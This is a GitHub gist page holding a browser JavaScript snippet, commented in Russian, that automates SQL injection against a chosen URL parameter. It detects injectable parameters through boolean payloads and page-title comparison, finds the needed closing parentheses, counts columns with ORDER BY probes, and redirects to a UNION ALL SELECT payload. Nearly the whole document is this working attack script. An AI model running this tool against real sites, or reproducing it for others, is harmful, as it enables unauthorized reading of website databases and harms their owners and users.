Skip to content

Instantly share code, notes, and snippets.

@s3rgeym
Last active July 8, 2019 17:14
Show Gist options
  • Save s3rgeym/9f0e3b5a4cc8bc4dbe3721e341b51bf2 to your computer and use it in GitHub Desktop.
Save s3rgeym/9f0e3b5a4cc8bc4dbe3721e341b51bf2 to your computer and use it in GitHub Desktop.
(function () {
'use strict'
const QUOTES = ['', "'", '"']
// const THRESHOLD = 0.95
// function levenstein(a, b) {
// const d = (i, j) => 0 === Math.min(i, j) ? Math.max(i, j) : Math.min(d(i - 1, j) + 1, d(i, j - 1) + 1, d(i - 1, j - 1) + (a[i - 1] === b[j - 1] ? 0 : 1))
// return d(a.length, b.length)
// }
// levenstein('kitten', 'sitting')
// function ratio(a, b) {
// return 1 - levenstein(a, b) / Math.max(a.length, b.length)
// }
// Зависает на больших текстах
// ratio(document.body.innerHTML, document.body.innerHTML)
// Все примеры отсюда https://en.wikibooks.org/wiki/Algorithm_Implementation/Strings/Levenshtein_distance так же зависают
function getTitle(url) {
// У fetch какие-то проблемы с кодировками отличными от utf-8
return new Promise((resolve, reject) => {
const xhr = new XMLHttpRequest()
xhr.open('GET', url)
xhr.onload = () => {
const doc = new DOMParser().parseFromString(xhr.response, 'text/html')
resolve(doc.title)
}
xhr.onerror = () => reject(new Error('Request failed'))
xhr.send()
})
}
function inject(url, sql) {
// Для лучшей читаемости
sql = encodeURIComponent(sql).replace(/%2C/g, ',')
if (url.indexOf('*') !== -1) {
url = url.replace('*', sql)
} else {
url += sql
}
return url
}
async function getCloseParen(url, originTitle, quote) {
for (let i = 0; i < 10; ++i) {
const paren = ')'.repeat(i)
const sql = `${quote}${paren}-- -`
const title = await getTitle(inject(url, sql))
if (title === originTitle) {
return paren
}
}
throw new Error('Something went wrong')
}
async function getColumnsNumber(url, originTitle, quote, closeParen) {
for (let i = 0; i < 150; ++i) {
const sql = `${quote}${closeParen} order by ${i + 1}-- -`
const title = await getTitle(inject(url, sql))
if (title !== originTitle) {
if (i === 0) {
break
}
return i
}
}
throw new Error('Something went wrong')
}
async function run() {
const url = prompt('Подставьте "*" после проверяемого значения параметра:', location.href.replace(/#.*/, ''))
const originTitle = await getTitle(inject(url, ''))
for (let quote of QUOTES) {
const sql = `${quote} and ${quote}`
const title = await getTitle(inject(url, sql + 1))
if (title === originTitle) {
const title = await getTitle(inject(url, sql + 0))
if (title !== originTitle) {
console.info('Уязвимость обнаружена!')
const paren = await getCloseParen(url, originTitle, quote)
const columns = await getColumnsNumber(url, originTitle, quote, paren)
const numbers = Array(columns).fill().map((v, i) => i + 1)
const sql = `${quote} and 0${paren} union all select ${numbers.join(',')}-- -`
location.replace(inject(url, sql))
break
}
}
}
}
run()
})()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment